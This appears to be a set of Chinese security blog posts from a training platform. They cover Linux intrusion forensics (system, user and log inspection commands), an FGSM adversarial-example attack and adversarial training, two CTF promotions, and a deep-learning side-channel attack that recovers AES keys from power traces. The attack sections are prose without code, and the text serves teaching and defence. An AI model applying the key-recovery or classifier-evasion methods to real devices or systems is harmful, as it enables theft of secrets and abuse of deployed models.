Linux系统取证简述
一、电子数据取:
1、什么是取证
电子取证学:为打击网络犯罪而生的电子数据取证,是计算机学科与法学学科交叉的一门学科,涉及到的知识包括计算机软硬件知识体系、网络技术、密码学、通信技术以及法学知识等。
常规取证:有调查取证权的组织或者个人为了查明案件事实的需要,向有关单位或个人依法进行调查和收集证据。
“洛卡德物质交换原理”:“没有真正完美的犯罪,只有未被发现的线索。”
埃德蒙·洛卡德(Edmond Locard,1877~1966)博士是法国著名的法庭科学家和侦查学家,他是个固执的学者,穷其一生都在为犯罪现场中物证的取证和鉴定工作努力着,之所以说他「固执」,是因为他一辈子都坚信着那么一件事:
——犯罪者,必留痕
卡洛德在20世纪初提出了他最著名的物质交换定律。
此理论的核心非常简单:
——「每一个犯罪行为都会留下痕迹」
也就是说:
——只要发生了犯罪行为,就必然会留下相关痕迹,没有所谓「无痕」的犯罪现场。
——哪怕很多犯罪者具有一定的反侦查能力,会刻意的去破坏一些痕迹,但作为代价,这会带来更多的物质交换过程,再次形成各种新的痕迹物证。
形象地说,如果你打我一巴掌,我的脸上会留下你的手印、汗渍、划痕等,而你的手上也会有我的皮肤组织、汗渍等,这样一来通过证据的吻合度是可以判断出究竟是谁打了我
电子数据同样遵循这个原理,网络罪犯也会留下“手印”,但这个痕迹只有专业的取证人员才能看得到。
物质交换原理是电子数据取证的理论基础,而取证就是寻找各种犯罪交换后留下的痕迹作为证据的活动。
电子数据就是电子证据,在取证行业里所说的电子数据,就是指的电子证据。
| 2013年施行的《中华人民共和国刑事诉讼法》第四十七条规定了 "电子数据"为证据的7大类型。
2016年两高一部《关于办理刑事案件收集提取和审查判断电子数据若干问题的规定》(以下简称规定)以定义和列举的方式,对电子数据做了明确规定:电子数据是案件发生过程中形成的,以数字化形式存储、处理、传输的,能够证明案件事实的数据。电子数据包括但不限于下列信息、电子文件:网页、博客、微博客、朋友圈、贴吧、网盘等网络平台发布的信息;手机短信、电子邮件、即时通信、通讯群组等网络应用服务的通信信息;用户注册信息、身份认证信息、电子交易记录、通信记录、登录日志等信息;文档、图片、音视频、数字证书、计算机程序等电子文件。
电子数据取证什么?
电子数据取证就是把数字证据转换为报告形式的过程。
这个转化形式的过程却涉及法律标准、技术手段、工具使用等等多领域复杂的内容,那可不是几句话能说得清楚的
取证过程大致分为:
证据收集--->数据获取--->数据分析--->取证报告
1、收集阶段:
电子数据脆弱性,它很容易被破坏:病毒、删除、覆盖等都会导致电子数据改变和丢失。
2、数据获取阶段:
1. 转储过程是否会改变原始设备上的原始数据?(证据一旦被改变了就没有法律效应了)
2.怎么证明你在转储过程中没有改变任何数据?
解决办法:镜像 和写保护。
3、数据分析阶段
4、报告撰写阶段:形式详细记录下来,尤其是能证明犯罪事实的关键证据
电子数据取证的目的
电子数据取证的终极目标是:为法庭审判提供合法的证据。
为了达到目标,可能用到的手段方法,数据恢复,密码破解等
电子数据取证的重要性
中国网络犯罪占犯罪总是 1/3
每年以 30%以上的速度增长
网络犯罪造成的经济损失每年达7000亿以上
案例
熊猫烧香:
1、硬盘数据:“灰鸽子”、“Sniffer”、“DDOS.EXE”、“网络神偷”、“Web3389”、“日 志清理”等大量黑客网络攻击工具、木马制作,病毒,网络攻击的相关电子书。大量用VB,VC和Dephi编写的病毒和木马源代码:多线程端口,PHP注入,文 件捆绑,隐藏运行,QQ密码截获,IE密码探测等。
五号分区的 Source\Code\Delphi\Wy_Work\目录下,发现“武汉男生”(熊猫烧香)病毒的客户端和服务端程序,同时,在 \Source Code \Delphi\ My_Work\武汉男生进程监控\code目录下发现“武汉男生”的源程序代码文件,截图如下:
2、聊天记录:
3、盗卖账号信息
4、账号登录信息:大量网络游戏(征途、冒险岛等)登录用户名和口令
5、账目信息:“账单文件”记录了2005年到2006年7月的账目信息
二、Linux系统入侵痕迹分析取证
1、基本信息获取
系统信息:
系统版本信息:
uname -a
lsb_version -a
head -n 1 /etc/issue
用户和组信息:
cut -d: -f1 /etc/passwd //查看用户信息
cut -d: -f1 /etc/group //查看用户组信息
网络信息:
ip a show //网络接口信息
ip route //路由信息
ss -tanp //端口信息
iptables -L //防火墙信息
系统运行状态:
任务计划
cat /etc/crontab //查看系统任务计划
/var/spool/cron/USERNAME //用户任务计划
进程信息
ps aux
//a 与终端相关的进程
u 以用户为中心组织进程状态信息显示
x 与终端无光的进程
ps -ef //e 显示所有进程。f显示完整格式程序信息
ps -eFH //F显示完整格式的进行信息 H以进程层级格式显示进程相关信息
top
服务信息
systemctl list-units --type=service //显示所有已启动的服务
systemctl list-units -t service -a //所有开启和关闭的
systemctl list-unit-files -t service -a //服务状态,是否开机启动,static:开机不启动,但是可以被另一个服务激活
/usr/lib/systemd/system //服务目录
2、日志分析
日志的主要用途是系统审计、监测追踪和分析统计。
UNIX/ Linux采用了syslog工具来进行日志记录,所有在主机上发生的事情都会被记录下来不管是好的还是坏的。
syslog:Linux 内核由很多子系统组成包括网络、文件访问、内存管理等。
子系统需要给用户传送一些消息这些消息内容包括消息的来源及其重要性等。所有的子系统都要把消息送到一个可以维护的公用消息区于是就有了 syslog。
syslog 是一个综合的日志记录系统。
它的主要功能:方便日志管理和分类存放日志。
syslog 配置文件:/etc/syslog.conf
三类日志:
系统接入日志:
根据该日志跟踪到谁在何时登录到系统
/var/log/wtmp和/var/run/utmp //telnet、ssh等程序会更新wtmp和utmp文件
进程统计日志:分析系统使用者对系统进行的配置以及对文件进行的操作
pacct或acct
错误日志:
/var/log/messages
常用日志文件:
/var/log/boot.log //该文件记录了系统在引导过程中发生的事件就是Linux系统开机自检过程显示的信息。
/var/log/cron //该日志文件记录crontab守护进程crond所派生的子进程的动作,前面加上用户、登录时间和PID以及派生出的进程的动作.
/var/log/maillog //该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动。它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
/var/log/messages //该日志文件是许多进程日志文件的汇总
/var/log/syslog //RHEL/Centos默认不开启,需要配置,它和/etc/log/messages日志文件不同它只记录警告信息,
该日志文件能记录当用户登录时login记录下的错误口令、Sendmail的问题、su命令执行失败等信息。
/var/log/secure //记录与安全相关的信息,主要是一些和认证、权限使用相关的信息。其是sshd会将所有信息记录[其中包括失败登录]在这里信息
/var/log/lastlog //记录最近成功登录的事件和最后一次不成功的登录事件,只能root执行
/var/log/wtmp //永久记录每个用户登录、注销及系统的启动、停机的事件,该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息
/var/run/utmp //该日志文件记录有关当前登录的每个用户的信息, who、w、users、finger 访问此文件 ,随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录不会为用户保留永久的记录
//以上提及的3个文件/var/log/wtmp、/var/run/utmp、/var/log/lastlog是日志子系统的关键文件,都记录了用户登录的情况。这些文件的所有记录都包含了时间戳。这些文件是按二进制保存。不能用less、cat之类的命令直接查看这些文件,而是需要使用相关命令通过这些文件而查看
每次有一个用户登录时login程序在文件lastlog中查看用户的UID。
如果存在则把用户上次登录、注销时间和主机名写到标准输出中,
然后login程序在lastlog中记录新的登录时间打开utmp文件并插入用户的utmp记录。
该记录一直用到用户登录退出时删除。utmp文件被各种命令使用包括who、w、users和finger。
下一步login程序打开文件wtmp附加用户的utmp记录。当用户登录退出时具有更新时间戳的同一utmp记录附加到文件中。
wtmp文件被程序last使用。
查看日志文件:
绝大多数是文本文件, cat、tac、more、less、tail和 grep进行查看
日志文件的格式:以 /var/log/messages 为例
该文件中每一行表示一个消息而且都由四个域的固定格式组成
时间戳:Timestamp 表示消息发出的日期和时间。
主机名:Hostname 表示生成消息的主机名
生成消息的子系统名称:“Kernel”表示消息来自内核
消息:Message :具体的消息内容
Dec 16 03:32:41 cnetos5 syslogd 1.4.1: restart. // syslog 发出的消息说明了守护进程已经在 xxx 重新启动了
查看非文本格式日志文件:
lastlog :使用 lastlog 命令来检查某特定用户上次登录的时间并格式化输出上次登录日志 /var/log/lastlog 的内容
last:搜索 /var/log/wtmp 来显示自从文件第一次创建以来登录过的用户
lastb:命令搜索 /var/log/btmp 来显示登录未成功的信息
who:查询 wtmp 文件并报告当前登录的每个用户
who /var/log/wtmp //查询历史登录用户
登录日志
二进制日志文件:
1、最近一次日志/var/log/lastlog lastlog //最近一次用户登录的时间记录2、用户登录日志/var/log/wtmp[root@localhost ~]# last - 或[root@localhost ~]# last -f <filename> # 指定输入文件 last -u 用户名显示用户上次登录的情况 last -t 天数显示指定天数之前的用户登录情况。
系统日志
应用日志
apache日志:
/var/log/httpd/access.log #[Apache服务器的客户系统访问记录]/var/log/httpd/error.log #[Apache服务器的所有出错记录]
cups 打印日志:CUPS [ Common Unix Printing System ] 通用UNIX打印系统
/var/log/cups/access_log # 访问日志文件,其中记录了打印机的设置情况,提交的打印作业,以及打印作业的状态记录等信息/var/log/cups/error_log # 默认的日志文件,存储各种错误信息
Samba 服务器日志
> [目录] /var/log/samba[root@localhost ~]# ls /var/log/samba> log.smbd # 其中包含Samba服务器启动以及SMB/CIFS文件与打印共享方面的信息> log.nmbd # 其中包含基于IP协议的NETBIOS网络通信方面的信息> log.sysname # 用于记录特定客户系统的服务请求信息,文件名中的sysname是客户系统的主机名,如 log.winxp
相关实验:https://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017080314263200001
介绍:详细了解windows,linux电子取证的原理,使用不同的网络取证工具学习取证中的信息收集,协议分析,内存磁盘取证,文件恢复等功能操作
对抗样本攻击及防御实战
#前言
对抗样本大家都耳熟能详了,但是大家可能觉得离自己比较远,毕竟主要是学术界在做这方面的工作,可能还需要很多数学理论基础,所以没有尝试动手实践过。在本文中,不会提及高深的数学理论,唯一的公式也仅是用于形式化描述攻击方案,并不涉及任何数学概念,同时以代码为导向,将论文中提出的方案进行实践,成功实施对抗样本攻击,之后给出了典型的防御方案,即对抗训练,同样也是以实战为导向,证明防御方案的有效性。对抗样本领域的研究正热火朝天,本文提及的攻击和防御方案并不是最优的,希望感兴趣的师傅们看了本文后,能够不再对该领域抱有排斥心理,加入对抗样本的研究队伍中来,为AI安全贡献自己的力量。
#模型搭建及评估
本次我们使用的数据集是Fashion MNIST。Fashion-MNIST是一个替代MNIST手写数字集的图像数据集。 它是由Zalando(一家德国的时尚科技公司)旗下的研究部门提供。其涵盖了来自10种类别的共7万个不同商品的正面图片。Fashion-MNIST的大小、格式和训练集/测试集划分与原始的MNIST完全一致。60000/10000的训练测试数据划分,28x28的灰度图片.
数据集大致如下所示
上图中每一类有3行,10个类别分别是T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat','Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot’
首先加载数据集
我们需要简单的对数据集预处理,给其添加一个channel维度,否则卷积层不能正常工作,还需要将像素值缩放到[0,1]范围
接下来打印出实际加载的样本看看
因为图片是灰度图像,所以输入的shape定义如下
接下来搭建一个CNN模型,架构如下
使用summary方法输出各层的参数状况
设置优化器、损失函数、batch size等超参数
我们再定义一个辅助函数,用于绘出训练过程相关度量指标的变化
接下来开始训练模型
使用前面定义的绘图函数画出模型训练过程的指标的变化情况
评估模型在测试集上的性能
上图打印出的classification report,这个怎么看呢
列表左边的一列为分类的标签名
右边的第一行中,precision recall f1-score三列分别为各个类别的精确度、召回率及F1 值.support是某类别在测试数据中的样本个数;
accuracy表示准确率,也即正确预测样本量与总样本量的比值;macro avg表示宏平均,表示所有类别对应指标的平均值,而weighted avg带权重平均,表示类别样本占总样本的比重与对应指标的乘积的累加和。
从上面的classification report可以看到模型在测试集上的表现还是不错的
而打印出的混淆矩阵如下
混淆矩阵是机器学习中总结分类模型预测结果的情形分析表,以矩阵形式将数据集中的记录按照真实的类别与分类模型预测的类别判断两个标准进行汇总。其中矩阵的行表示真实值,矩阵的列表示预测值。
我们以第一行为例,样本的真实类别为t-shirt,在分类结果里,有862个样本被正确分类,有16个样本被错误分类到pullover,有15个样本被错误分类到dress,有3个样本被错误分类到coat,有96个样本被错误分类到shirt,有8个样本被错误分类到bag
如果只要看有每个类别分别由多少样本被正确分类,则只需要看对角线即可。每一类总共是1000个测试样本,而t-shirt有862个被正确分类,trouser有975个被正确分类,以此类推。从混淆矩阵可以更具体看出测试样本是被错误分到了哪一类。
#对抗样本攻击
对抗样本可能或多或少都有听说过,它是通过对数据集中的样本应用较小但蓄意的会导致最坏情况的扰动而形成的输入,因此,被扰动的输入导致模型以高置信度输出错误的答案。
我们本次来实践最经典的对抗样本攻击方案--FGSM,下面这张图片大家应该都看过,它正是出自于提出FGSM的论文
从熊猫图像开始,攻击者在原始图像上添加小扰动,结果模型将此图像预测为长臂猿。
那么FGSM攻击是如何实现的呢?或者说攻击中添加的扰动是怎么来的呢?
我们知道训练分类模型时,网络基于输入图像学习特征,然后经过softmax层得到分类概率,接着损失函数基于分类概率和真实标签计算损失值,回传损失值并计算梯度(也就是梯度反向传播),最后网络参数基于计算得到的梯度进行更新,网络参数的更新目的是使损失值越来越小,这样模型分类正确的概率也就越来越高。
对抗样本攻击的目的是不修改分类网络的参数,而是通过修改输入图像的像素值使得修改后的图像能够扰乱分类网络的分类,那么根据前面提到的分类模型的训练过程,可以将损失值回传到输入图像并计算梯度,也就是下式
其中, θ 是模型的参数,x 是模型的输入,y 是与 x 关联的类别,J (θ, x, y) 是用于训练神经网络的损失函数。
接下来可以通过sign()函数计算梯度的方向,sign()函数是用来求数值符号的函数,比如对于大于0的输入,输出为1, 对于小于0的输入,输出为-1,对于等于0的输入,输出为0。之所以采用梯度方向而不是采用梯度值是为了控制扰动的距离.
常规的分类模型训练在更新参数时都是将参数减去计算得到的梯度,这样就能使得损失值越来越小,从而模型预测对的概率越来越大。既然对抗攻击是希望模型将输入图像错分类成错误类别,那么要求损失值越来越大,也就是模型预测的概率中对应于真实标签的概率越小越好,这和原来的参数更新目的正好相反。因此只需要在输入图像中加上计算得到的梯度方向,这样修改后的图像经过分类网络时的损失值就比修改前的图像经过分类网络时的损失值要大,换句话说,模型预测对的概率变小了。此外我们还需要用来控制扰动的程度,确保扰动足够小。所以,扰动的式子如下
将扰动加到原样本上就得到了对抗样本,如下所以
我们将这称为生成对抗样本的fast gradient sign method(快速梯度符号方法)。
对应的代码实现如下
应用以上函数,我们来看看对coat样本的攻击前后的结果
从可视化的结果可以看到,左边是原样本,以真实标签为coat,模型以较高的置信度将其预测为coat,中间是添加的对抗扰动,加上之后就得到了右边的对抗样本,其被模型错误预测为了pullover,说米我们攻击成功了。
查看对sneaker的攻击前后结果
同样攻击成功了,对于其他测试集样本生成的对抗样本同样可以攻击成功。
接下来我们来进行对抗训练,提升模型的鲁棒性
为了更全面的衡量模型在面对对抗样本攻击时有多么容易受到攻击,我们可以针对测试数据应用FGSM生成对应的对抗样本测试集
通过打印classification report和混淆矩阵来评估模型在面对对抗样本攻击时的鲁棒性
可以看到整体的指标都是较低的,说明模型面对对抗样本攻击的鲁棒性较弱
接下来我们通过对抗训练的方法增强模型的鲁棒性
#对抗训练
在实践之前,先来介绍对抗训练的概念。
对抗训练(Adversarial Training)最初由 Ian Goodfellow 等人提出,作为一种防御对抗攻击的方法,其思路非常简单直接,将生成的对抗样本加入到训练集中去,做一个数据增强,让模型在训练的时候就先学习一遍对抗样本。
对抗训练实际上是一个min-max优化问题,寻找一个模型(以参数表示),使得其能够正确分类扰动在一定范围S内的对抗样本,即
其中(x,y)表示原始数据和对应的标签,D表示数据的分布,L是损失函数
内层(中括号内)是一个最大化,L则表示在样本x上叠加一个扰动,再经过神经网络函数,与标签y比较得到的损失。 max L是优化目标,即寻找使损失函数最大的扰动,简单来讲就是添加的扰动要尽量让神经网络迷惑。外层就是对神经网络进行优化的最小化公式,即当扰动固定的情况下,我们训练神经网络模型使得在训练数据上的损失最小,也就是说,使模型具有一定的鲁棒性能够适应这种扰动。
接下来我们来看实际中对抗训练是怎么做到提升模型鲁棒性的
首先将同样的方法应用于训练集,生成原训练集的一批对抗样本,作为对抗样本训练集,并将对抗样本训练集和原来的训练集合在一起作为最终的训练集
开始在最终的训练集上训练模型
训练过程中的指标变化如下
如此,就完成了对抗训练
那么怎么对抗训练得到的模型的好坏呢?
首先要看该模型在正常的测试集上的性能,毕竟大多数测试样本都是正常的,这才是训练模型最主要的任务,即需要在正常的测试样本面前表现好
可以看到性能还是不错的
另外还要看模型在接收对抗样本时的性能,毕竟这是对抗训练相比一般训练最主要的目的所在,就是为了在面对对抗样本时,不会被其欺骗
从结果可以看到,模型在面对对抗样本时表现非常好
直接看这些指标不具体的话,我们可以从10类样本中各打印一个样本的对抗样本,并查看模型对其分类结果
从结果可以看到,10个对抗样本都被模型正确分类了,说明模型的鲁棒性较好,表明了对抗训练的有效性。
实验推荐:https://www.yijinglab.com/cour.do?w=1&c=CCIDaa5a-85bb-4c6d-90fa-d61c89e7a81c
#参考
1.EXPLAINING AND HARNESSING ADVERSARIAL EXAMPLES
2.ADVERSARIAL TRAINING METHODS FOR SEMI-SUPERVISED TEXT CLASSIFICATION
3.Towards Deep Learning Models Resistant to Adversarial Attacks
4.https://zhuanlan.zhihu.com/p/104040055
5.https://zhuanlan.zhihu.com/p/166364358
6.https://github.com/1Konny/FGSM
7.https://github.com/ndb796/Pytorch-Adversarial-Training-CIFAR
8.https://github.com/zjfheart/Friendly-Adversarial-Training
如果我解题很优秀,下个七夕身边会有他/她吗
*开幕灵魂拷问:你有对象吗?*
有的话看这里:
好了有对象的可以走了,单身的留一下,我再讲两点。
都说搞安全的头发少还没对象,那么跟着看下来的一定还有99.99%。
恰逢七夕,说什么都得送大伙儿一份礼物。请看:↓
每周五固定节目又来了!倍受期待的《Weekly CTF》系列之<第二十六周 | Ez_unserialize>它在同一时间又见面了,这是一个免费的课程且每周有更新,大家可以多多关注。
没想到吧情人节蚁景网安室送的礼物是一道题!像不像暑假玩得正嗨的你被贴心好友送了一本《开心暑假》,往年情人节我们还送过实验,也送过双倍积分……我这个渣男怎么样,送礼一套一套的还不重样。
最后让我们回到找对象的主题,大家都知道解题有方法只是时间问题,但心仪对象的心能不能解开这个真的是谜。首先这句话的前一段我不信,要不我给你一道数学题?物理题也行。
解题只会得到答案,但在解题的过程中你会收获知识,从而变得更优秀。优秀的人都是相互吸引的,当你从不断地学习中获得进步,即使你初次心动的人没有和你在一起,你也会遇到跟现在优秀的你一起并肩的人。
本周的CTF练习题是反序列化方向的,结合实验描述给出的线索,开启变优秀之路吧!期待你们的精彩表现,率先做出来的也可以自己发布writeup或者解题视频,万一被官方看上说不定有小惊喜奖励呢!假如你真的解不出来或者对前面的CTF题感兴趣,我可以偷偷告诉你上B站搜关键字有惊喜发现噢~
下周我们同一时间见!下个七夕我们都会有对象的!
链接直达:https://www.yijinglab.com/expc.do?ec=ECID1fab-e5bd-473c-92b7-768737c0d4ee
深度学习赋能侧信道攻击实战
#前言
这是IoT的时代,这也是AI的时代。
在IoT时代,针对IoT设备上的密码芯片进行侧信道分析是极其活跃的领域,是研究IoT安全至关重要的一环。在AI时代,目前引领AI第三次复兴的技术便是深度学习。将侧信道与深度学习相结合会有什么效果,本文对此进行了尝试。
侧信道分析部分,思路是根据power trace(能耗轨迹),从运行在ARM CPU上的AES算法实现中恢复AES密钥。在深度学习则是赋能于侧信道分析,我们将power trace处理后的数据集作为深度学习系统的输入,训练神经网络,使其预测key字节,作为输出。
下文中我们会首先介绍AES、侧信道分析、深度学习等前置知识,然后以实战为导向实现对16字节密钥的恢复。
#AES
高级加密标准(英语:Advanced Encryption Standard,缩写:AES),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,已经被多方分析且广为全世界所使用。经过五年的甄选流程,高级加密标准由美国国家标准与技术研究院(NIST)于2001年11月26日发布于FIPS PUB 197,并在2002年5月26日成为有效的标准。现在,高级加密标准已然成为对称密钥加密中最流行的算法之一。
AES的区块长度固定为128比特,密钥长度则可以是128,192或256比特;而Rijndael使用的密钥和区块长度均可以是128,192或256比特.(本文就是针对密钥长度为128比特(16字节)的AES实现进行攻击)。
大多数AES计算是在一个特别的有限域完成的。
AES加密过程是在一个4×4的字节矩阵上运作,这个矩阵又称为“体(state)”,其初值就是一个明文区块(矩阵中一个元素大小就是明文区块中的一个Byte)。(Rijndael加密法因支持更大的区块,其矩阵的“列数(Row number)”可视情况增加)加密时,各轮AES加密循环(除最后一轮外)均包含4个步骤:
AddRoundKey—矩阵中的每一个字节都与该次回合密钥(round key)做XOR运算;每个子密钥由密钥生成方案产生。
SubBytes—透过一个非线性的替换函数,用查找表的方式把每个字节替换成对应的字节。
ShiftRows—将矩阵中的每个横列进行循环式移位。
MixColumns—为了充分混合矩阵中各个直行的操作。这个步骤使用线性转换来混合每内联的四个字节。最后一个加密循环中省略MixColumns步骤,而以另一个AddRoundKey取代。
#侧信道攻击
侧信道攻击的过程可以简单概括为:攻击者使用示波器采集密码算法在目标设备上运行时的计时、功耗、电磁辐射、声音、热量、射频、故障输出等旁路泄露信息,接着分析这些信息和密码设备执行过程中的中间运算、中间状态的关系(这些中间运算、中间状态依赖于密码算法的密钥),进而根据分析结果恢复出密钥。攻击者采集的旁路泄露信息又被称作能量轨迹(power trace),在分析power trace和中间运算、中间状态的关系之前,需要对power trace进行预处理(见下文)。
另外,在下文会提到“攻击点”的概念,这里先做说明。
攻击的目标是恢复key字节的值,但是在实际中除非你捕获到了加载到内存中的key,否则而基本不会直接捕获到key。事实上,我们预测的是称为攻击点的值,这些攻击点也叫做敏感变量。攻击点是内存中的点,在这个点上,计算会导致内存出现变化(比如更改了一个寄存器的值,或者设置了值等),这些变化与我们尝试恢复的key有关系(比如异或)。更改内存值会导致功耗发生变化,这意味着这些更改可以从功耗轨迹中发现。
如下图所示
左图是AES中所有的攻击点(攻击点由黄/红点表示),然而在实际应用上,他们大多数是不可逆的,可逆的意思是说可以从猜测值推测出key字节的值。只有红点是直接可逆的,他们都位于第一轮,示意图如上图的右图所示。
可以看到组成包括key、sub_bytes_in,sub_bytes_out。
其中key是我们希望通过推理得到的,sub_bytes_in是当key和明文一起存储后的目标字节的值,sub_bytes_out是使用AES盒替换另一个值之后的字节值。
对于我们要攻击的算法来说,sub_bytes_in,sub_bytes_out都很容易受到攻击。
#深度学习
深度学习(英语:deep learning)是机器学习的分支,是一种以人工神经网络为架构,对资料进行表征学习的算法。
深度学习是机器学习中一种基于对数据进行表征学习的算法。观测值(例如一幅图像)可以使用多种方式来表示,如每个像素强度值的向量,或者更抽象地表示成一系列边、特定形状的区域等。而使用某些特定的表示方法更容易从实例中学习任务(例如,人脸识别或面部表情识别)。深度学习的好处是用非监督式或半监督式的特征学习和分层特征提取高效算法来替代手工获取特征
为什么使用深度学习来做SCA?
第一点最显然的原因,也是其他领域也会使用深度学习的原因,就是深度学习可以直接从原始功耗或trace中学习,而不是依赖人工设计的特征和假设,这使得攻击更易设计,减少了对特定领域专业知识的需求。第二点是因为模型可以直接学习预测目标中间值,而不需要使用近似模型(相当于模板攻击而言),这也简化了攻击设计。第三点是因为使用深度学习可以进行概率攻击(利用softmax),因为模型在多个power trace上输出的分数可以被直接排序得到可能性最大的字节值。
#构建数据集
首先我们需要构建数据集,之后才能在其上训练模型。这一步的关键就是收集power trace
怎么收集power trace呢?
流程如下所示
1.启动示波器开始捕获
2.触发硬件上的加密过程(选定的或者是随机的key和明文进行加密)
3.在加密结束时,停止捕获并从示波器收集power trace。我们构造数据集时会将trace及对应的标签(使用的key和明文)都加入进去
我们使用示波器来捕获,所需的硬件设备示意图如下所示
红板中间放的是待分析的芯片,下面是示波器的probe,两端分别连接到通信接口和芯片,示波器的捕获的什么样子呢?
在示波器每次捕获之后,可以得到一组与下图类似的power trace
上图显示了没有受到保护的AES实际实现时的power trace,这种情况下很容易就可以进行SCA,因为我们可以清楚地看到10轮AES(上图已经标注出来了)
然后需要将power trace转为深度学习可用的数据集,这里涉及到3个操作:
1.数据处理。我们将power trace缩放到[-1,1],如果不这么做,大多数模型是不会收敛的
2.计算攻击点。对于每条轨迹,我们预先计算期望的_sub_bytesin 和_sub_bytesout 值。然后执行矩阵转置,以确保数据的格式是[ byte _ id ][ example _ id],因为我们希望能在对密钥的单字节攻击时可以通过byte_id获取数值。然后还需要对每个字节值进行分类编码(categorical encoding),因为模型的输出是256个潜在值上的softmax。
3.将数据打包成分片(shard)。分片中包含给定key value的所有样本。这可以让我们调整每个key需要多少样本,并确保在训练和测试时使用不同的key。
数据集有了之后我们就可以开始训练了
#训练模型
训练的目的是为了使用先前收集的trace建立模型。传统的SCA都会使用模板攻击等方式学习这些模式。模板攻击是使用训练数据执行多元统计分析,创建一个被称为汉明加权模型(Hamming Weight Power Model)的近似泄露模型(leakage model)。模板攻击可以类比于CV领域中旧的视觉算法,依赖于人类精心设计的特征,而使用深度学习模型可以直接从原始数据中学习。
在训练模型之前,需要加载数据集
还要加载配置文件
配置文件内容如下
其中主要用于设置四项内容:
1.攻击目标。从device和algorithm看到,指定了要攻击的设备以及其上运行的算法。
2.攻击方式。从attack_points和attack_bytes可以看到.前文我们已经提到,AES 128的16字节密钥有3个攻击点,所以实际我们需要训练3*16=48个模型
3.攻击所需数据。从num_shards,num_traces_per_shard可以看到,一个shard包含给定的key的所有样本,因此shard的数量等于要使用的key的数量。num_traces_per_shard指的是给定的key使用多少不同的power trace。
4.攻击所需架构。包含模型的参数、优化器等。
本文使用的是带残差的CNN,即ResNet,但是有一些不同
1.由于我们处理的是时间序列,shape为(batch_size,trace_len,value),而不是图像(shape为(batch_size,width,height,channels)),所以使用的一维卷积
2.模型一开始用的是max pooling,这是因为之前采样的时候是过采样的,使用max pooling可以使模型更小,以便更快地收敛
3.使用了卷积增长函数的简化的stack(堆),其实每个stack就是将过滤器数量翻倍
dropout用于帮助泛化,之后是全连接层、激活层和BatchNormalization层,输出层是带有softmax激活的256输出的全连接层
网络的一般结构如下
残差块结构如下
从批归一化开始,在进行卷积之前通过激活层。正如前面提到的,我们这里用的是一维卷积,即Conv1D;其他的都和标准残差架构一样,不再另做说明。
模型搭建完成后,使用训练集进行训练即可。
#攻击
这一步,我们利用训练好的模型来恢复训练过程中没见过的key。
我们将深度学习应用于侧信道攻击的优势就是它可以根据trace数量可扩展地进行概率攻击,我们只需要累计模型的预测值就可以了,如下所示,累计的结果越大,则该值越有可能是对应字节的值。
为什么这么直接加起来就可以来了?因为我们之前在输出层用的是softmax,softmax就是用于将模型的输出转为概率分布,他们的和等于1,如下所示
现在还有一个问题,怎么评估侧信道攻击的效果呢(除了直接看是否恢复出了给定的key)
在本文中主要评估恢复给定key需要多少条trace,评估指标可以是:恢复key所需的最少trace是几条?平均需要几条trace才能恢复key?恢复所有key需要多少trace?以及通过攻击曲线(如下所示)来看累计成功率,我们以恢复16字节的key中的一个字节为例来看看。
我们画出攻击中的密钥恢复效率,实际就是打印攻击曲线
下面给出的累计成功率就是上图曲线下的面积。如果是完美的攻击,其曲线下面积应为1,这说明1个trace就可以恢复出全部的key,但是这基本不会发生,我们要做的是找到曲线最陡或者说曲线下面积最大的攻击,因为这种攻击的性能最好。
下面的代码用于计算并打印指标
从上图结果可以看到,使用1个trace可以恢复40%左右的key,为了恢复全部key,需要4个trace,累计成功率为83.79%
现在我们尝试恢复出AES的完整的key。
攻击前,还需要设置参数:攻击点可以设为sub_bytes_out;从攻击曲线的图中可以看到其实不需要10条trace,5条trace就足够了;此外还需要设置目标shard,一个shard就是一个不同的key,随意设置即可
我们运行16次字节恢复算法,一次可以恢复出一个key字节
运行得到的结果如下
可以看到基本预测正确。
#参考
1.https://baike.baidu.com/item/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86/468774?fromtitle=aes&fromid=5903&fr=aladdin&&
2.https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86
3.http://61.161.158.164:8085/KCMS/detail/detail.aspx?filename=1020088612.nh&dbcode=CMFD&dbname=CMFD2021&&
4.https://zh.wikipedia.org/zh-hans/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0
5.https://www.youtube.com/watch?v=Db8mj5KFz8E
6.https://docs.google.com/presentation/d/1l-TpGGuGu40TS4ecqPfzLqrzSQccwgu3BlsKMTyZbSk/edit
如果你在找免费CTF训练场,那么我推我自己
正文:
每周五固定节目又来了!倍受期待的《Weekly CTF》系列之<第二十五周|在错误中寻找答案>它在同一时间又见面了,这是一个免费的课程且每周有更新,大家可以多多关注。
关于这个实验的来历还是值得一说的。最开始,同事发来了这样一张图:
本运营当时的内心:
好家伙,就出个CTF题而已,怎么还整上成语(的变异版)了呢?就这种词语,在我们官网发发而已是可用的,外面的平台这么宣传程序自动就给屏蔽成**了,有的不仅发不出去还会被禁言,那么就损失了数十万人(夸张)看到我们的机会。本身实验还是免费的,这么好的资源不要浪费了。本着净化网络环境的责任心,正义的我自然是拒绝的。
然后就有了上升无数个层次的这一版:
出处没有截完整因为也敏感,不过我可以大声告诉你们是一位伟人,出自伟人在延安干部会上所作的报告——<改造我们的学习>。这就很符合我们作为业界领先(挺胸骄傲)的实践型学习平台的定位了,要有方法地学习,要理论和实际统一。报告中的一些内容可以说跟我们相当符合了,“粗枝大叶,夸夸其谈,满足于一知半解”伟人称这是一种极坏的作风,据我潜伏在网安群里的多年经验来看,我们中的很多人就是犯了这样一种错误,只想学习网络安全中最“炫酷”的那部分,上来就想渗透想直接到达终点线,而不是从最基础的部分开始。导致很多人只是掌握了一个工具的使用而完全不懂原理,不去了解底层是如何运行的,这种情况就是满足于一知半解,是走不长远
